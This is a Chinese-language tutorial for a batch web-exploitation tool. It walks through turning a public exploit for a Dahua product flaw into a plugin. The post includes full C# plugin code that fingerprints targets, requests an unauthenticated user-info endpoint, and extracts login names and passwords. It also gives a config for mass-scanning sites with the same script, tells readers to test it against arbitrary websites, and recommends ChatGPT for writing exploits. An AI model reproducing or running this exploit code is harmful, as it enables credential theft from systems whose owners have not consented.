前言
此前我们发布了2022-08-26 版本这个应该算是5.0的产品。5.2和它的不同点我在这里 https://github.com/peiqiF4ck/WebFrameworkTools-5.1-main 已经发布。5.2最大的不同点就是可以调用任意程序批量执行下面我重点讲解一下5.1 图形化生成exp还有插件编写和5.2新版功能。至于用法参考17280a163317a771 这篇和github接下来废话不多说我们来介绍一下。我们以这里的漏洞https://github.com/MzzdToT/HAC_Bored_Writing 举例子实战测试。
图形化生成exp
我们根据提示搜索到如下exp我们直接copy到我们本地运行
copy出的exp运行测试没有报错
随便找个网站测试出现下面的图说明存在漏洞
分析一下这个python写的脚本我们来构造exp。下面的代码是get请求访问url+/admin/user_getUserInfoByUserName.action?userName=system 得到的结果使用正则表达式提取结果我们来看一波。这个需要你们会python才能看懂如果看不懂可以去chatgpt问一下代码的意思。这里就不多说了
首先访问目标网站确定可以访问。然后我们加上exp看看返回
我们看到了返回结果nice。接下来我们怎么构造exp。我一步一步来。
第一步:exp访问目标网站
第二步:填写目标特征(这个可有可无)有的话就是精确打击效果显著。我们先找个漏洞网站的链接访问得到指纹和特征如下图
接下来我们来图形化exp构造一下。构造指纹以后在访问一波
第三步:提取exp。填上包含这个字符串就没问题。但是结果太长了。我们使用正则看看
最终结果就是这个。软件运行得到的结果也是这个。我们来生成一下exp。插件名称dahuapass
生成利用程序
第四步:测试结果。把这个两个dll拷贝如下
第五步:进去dll模式测试插件。可以看到生成的结果和我们图形化构造的结果一样。ok已经完成。
exp插件编写
这个需要会变点编程功底我们去github下载我们的插件项目。
https://github.com/peiqiF4ck/ToolsUserDllplugin 使用vs2022打开项目。有人说这玩意我不太会写代码你找chatgpt我将演示一下如何帮助我们写出exp。
第一步:解决写出请求方式让chatgpt 。话术。让他封装成函数
让他用.netframework方式给我们写
代码
public static void Main(string[] args)
{
string url = "https://example.com"; // 替换为你要请求的URL
string result = GetResponse(url, TimeSpan.FromSeconds(30));
Console.WriteLine(result);
}
public static string GetResponse(string url, TimeSpan timeout)
{
string responseText = string.Empty;
try
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);
request.Timeout = (int)timeout.TotalMilliseconds;
using (HttpWebResponse response = (HttpWebResponse)request.GetResponse())
{
using (Stream stream = response.GetResponseStream())
{
using (StreamReader reader = new StreamReader(stream))
{
responseText = reader.ReadToEnd();
}
}
}
}
catch (Exception ex)
{
responseText = $"请求出错: {ex.Message}";
}
return responseText;
}
然后我们直接copy代码到项目里面。发现报错这是因为没有添加依赖。using System.IO;
using System.Net;
添加依赖错误消失
修改我们的的函数
调用我们的函数
我们从前面知道要想结果准确需要搞一个指纹所以下面格式就是我写的。然后含有loginname的才有漏洞所以我们知道结果是。{“id”:1,”extId”:1,”loginName”:”ooo”,”loginPass”:”xxx”,”“} 让chatgpt帮我们提取里面的
ooo和xxx
看操作:我有一个字符串 {“id”:1,”extId”:1,”loginName”:”ooo”,”loginPass”:”xxx”,”“} 帮我写一个正则表达式提取下一结果得到的结果是 ooo:xxx 。直接copy
copy报错同样是导入依赖。把那个未能提取结果改成 error。
public static string ExtractResult(string input)
{
string pattern = "\"loginName\":\"([^\"]+)\",\"loginPass\":\"([^\"]+)\"";
Match match = Regex.Match(input, pattern);
if (match.Success)
{
string loginName = match.Groups[1].Value;
string loginPass = match.Groups[2].Value;
return $"{loginName}:{loginPass}";
}
else
{
return "error";
}
}
我们接下来看操作 直接调用
/// <summary>
/// http漏洞代码实现
/// down 表示网站无法访问
/// error 表示没有漏洞 返回error
/// 成功则返回结果
/// </summary>
/// <param name="url"></param>
/// <returns></returns>
private static string thinkphpRce(string url)
{
string result = string.Empty;
///调用httpSendMethod 实战漏洞逻辑
///
string errorcase = "error";
string expUrl = url + "/admin/user_getUserInfoByUserName.action?userName=system";
string fingerUrl = url + "/WPMS/asset/css/login.css";
string res = httpSendMethodMy(fingerUrl, 30*1000); //调用http请求请求结果
if (!res.Contains("login-brand")) //指纹请求
{
Console.WriteLine("No 大华智慧 product");
return errorcase;
}
string res1 = httpSendMethodMy(expUrl, 30 * 1000); //调用http请求请求结果
if (res1.Contains("loginName")) //
{
//通过正则表达式方式直接刷选出漏洞然后赋值结果
string userpass = ExtractResult(res1);
if (errorcase.Equals(userpass))
{
Console.WriteLine("正则提取失败");
return errorcase;
}
//Console.WriteLine(userpass);
result = url + "|" + userpass+ "|ExpName:大华漏洞"; //这里 |ExpName: 是必须标注的 重点重点!!!!
}
else
{
result = errorcase;
}
return result;
}
public static string DllExec(string url)
{ //方法名称
string expResult = string.Empty;
string errorcase = "error";
string thinkphpRceRes = thinkphpRce(url); //调用函数
if (errorcase.Equals(thinkphpRceRes))
{
expResult = errorcase;
}
else
{
expResult = thinkphpRceRes; //系统系统写结果
// Console.WriteLine(expResult);
// expResult = thinkphpRceRes + "|5a75574b96ce583b250cdcfff48caa78|"; //用户自己写成功结果系统不管 标志5a75574b96ce583b250cdcfff48caa78 加上这个标志就是你自己写你自己的结果。就行了
}
return expResult;
}
然后生成dll我们开始测试。生成dll名字放到软件同目录下。dll名字可以修改
测试结果没毛病。这个案例编写我会放到频道。请到频道下载。
5.2新功能(此功能属于最新开发)
看了上面的两种。第一种适合简单的请求。第二种可以 编写任意exp 但是要求使用者会点编程配合chatgpt的使用。前两种功能都有第三种最新开发还没有放出。这里介绍一下使用方法。
接下来我们看第三种来演示一下。之前我们说过得到一个脚本运行一波。那个网站有漏洞。格式
python Dahua_getpass_scan.py -u website
配置文件。格式必须是这种的
[WebTools]
#这里可以在cmd里面执行无需配置绝对路径否则需配置绝对路径
exe=python
#这里是执行脚本的参数
arg=python\Dahua_getpass_scan.py -u $url$
#漏洞特征字符串包含这个字符串就有漏洞
vulStr=is vulnerable
#正则表达式提取字符串
regex=(?<=\[\+\]).*
#配置不输出程序执行的所有结果只输出正则结果等
echoAllResult=no
#配置是否需要本程序写入结果
writeFile=yes
#配置不包含这个字符串有漏洞注意vulStr和NovulStr不能同时出现在同一个配置文件中
#NovulStr
我们测试一下看看。这个直接可以漏洞脚本和ini文件可以分别放置只需要配置就行了。
批量工具测试
结语
各种用法和软件公布时间见github。案例源代码:https://t.me/SoftwareNoticeChannel/265